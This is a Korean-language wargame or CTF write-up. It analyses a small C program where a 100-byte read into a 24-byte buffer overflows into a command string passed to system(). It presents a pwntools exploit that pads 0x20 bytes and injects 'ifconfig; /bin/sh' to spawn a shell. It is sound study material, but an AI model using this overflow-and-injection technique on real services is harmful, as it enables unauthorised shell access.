1. Description
2. Check
2.1 C code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char cmd_ip[256] = "ifconfig"
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
code description
cmd_ip에 "ifconfig"를 넣고
center_name에 100바이트 만큼의 크기를 줘서 입력을 받는다.
그 후 cmd_ip와 "ifconfig"를 8바이트만큼 비교하고,
비교한 것이 같으면 system(cmd_ip)를 실행하고
비교한 것이 다르면 "Something is wrong!"을 출력하고 종료한다.
2.2 file
2.3 checksec
3. Design
center_name에 입력받을 때, bof를 이용해서 cmd_ip까지 dummy값으로 채우고
그 후, "ifconfig;/bin/sh"을 넣으면 셸을 획득할 것이다.
여기서 이용하는 취약점과 공격 방식은 bof와 command injection이다.
4. Exploit
4.1 bof && command injection
gdb로 분석해보자
[rbp-0x130]은 center_name이고, [rbp-0x110]은 cmd_ip의 스택 주소이다.
1. 따라서 0x20만큼 dummy로 채우고,
2. 그 후 "ifconfig ; /bin/sh"을 넣어서 shell을 실행시켜 보자
4.2 exploit code
from pwn import *
p = remote("서버", 포트)
buf = b'A'*0x20 + b'ifconfig' + b'; /bin/sh'
p.sendlineafter(": ", buf)
p.interactive()
4.3 result
성공적으로 shell을 따냈다.
Reference